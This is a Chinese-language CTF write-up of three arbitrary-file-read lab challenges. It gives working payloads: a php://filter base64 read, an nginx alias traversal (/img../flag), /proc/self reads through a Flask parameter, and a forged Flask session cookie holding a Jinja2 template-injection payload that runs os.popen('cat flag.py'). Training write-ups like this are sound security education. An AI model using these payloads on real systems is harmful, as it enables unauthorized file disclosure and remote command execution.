afr-1
打开题目链接
默认的传参数据为 ?p=hello
更改一下试试看 ?p=111 无回显
?p=flag 回显了 no no no
想到了 php任意文件读取
?p=php://filter/read=convert.base64-encode/resource=flag
回显出数据
应该是base64 拿去解码
得到flag
afr-2
打开题目链接
查看源代码
nginx配置问题导致存在目录穿越 访问它的前一个目录 img../
/img../flag
得到flag
afr-3
打开题目链接 (看似为XSS ?)
传入个数据看看 打破最初的猜想
点击article
name参数是个点 利用这个name参数获取当前执行系统命令 读取系统文件
补充(Linux系统上的/proc目录是一种文件系统 即proc文件系统 与其它常见的文件系统不同的是 /proc是一种伪文件系统(也即虚拟文件系统) 存储的是当前内核运行状态的一系列特殊文件 用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息 甚至可以通过更改其中某些文件来改变内核的运行状态
/proc/[pid] 当查看当前进程的时候可以用/proc/self代替
cmdline — 启动当前进程的完整命令 但僵尸进程目录中的此文件不包含任何信息
cwd — 指向当前进程运行目录的一个符号链接
environ — 当前进程的环境变量列表 彼此间用空字符(NULL)隔开 变量用大写字母表示 其值用小写字母表示)
任意文件读取漏洞 读取到结果 看到当前目录存在的两个文件 flag.py和key.py
白盒测试
<h1>Article Content:</h1> <br>#!/usr/bin/python
import os
from flask import ( Flask, render_template, request, url_for, redirect, session, render_template_string )
from flask_session import Session
app = Flask(__name__)
execfile('flag.py')
execfile('key.py')
FLAG = flag
app.secret_key = key
@app.route("/n1page", methods=["GET", "POST"])
def n1page():
if request.method != "POST":
return redirect(url_for("index"))
n1code = request.form.get("n1code") or None
if n1code is not None:
n1code = n1code.replace(".", "").replace("_", "").replace("{","").replace("}","")
if "n1code" not in session or session['n1code'] is None:
session['n1code'] = n1code
template = None
if session['n1code'] is not None:
template = '''<h1>N1 Page</h1> <div class="row> <div class="col-md-6 col-md-offset-3 center"> Hello : %s, why you don't look at our <a href='/article?name=article'>article</a>? </div> </div> ''' % session['n1code']
session['n1code'] = None
return render_template_string(template)
@app.route("/", methods=["GET"])
def index():
return render_template("main.html")
@app.route('/article', methods=['GET'])
def article():
error = 0
if 'name' in request.args:
page = request.args.get('name')
else:
page = 'article'
if page.find('flag')>=0:
page = 'notallowed.txt'
try:
template = open('/home/nu11111111l/articles/{}'.format(page)).read()
except Exception as e:
template = e
return render_template('article.html', template=template)
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=False)
发现flag在flag.py flask的appkey在key.py 但是此处任意文件读取漏洞被过滤了关键词flag
构造payload 先访问flag.py 无果
伪造session 先获取一下key
再访问 key.py
利用flask-session-manage 伪造session
./flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"
.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.YD97iA.kUHfV05dXGFmHNS5bumL3yu4J2E
抓包 更换cookie session
得到flag n1book{afr_3_solved}
小结:
A: php任意文件读取
B: nginx配置之目录穿越
C:/porc目录
D:flask-session
发表评论 取消回复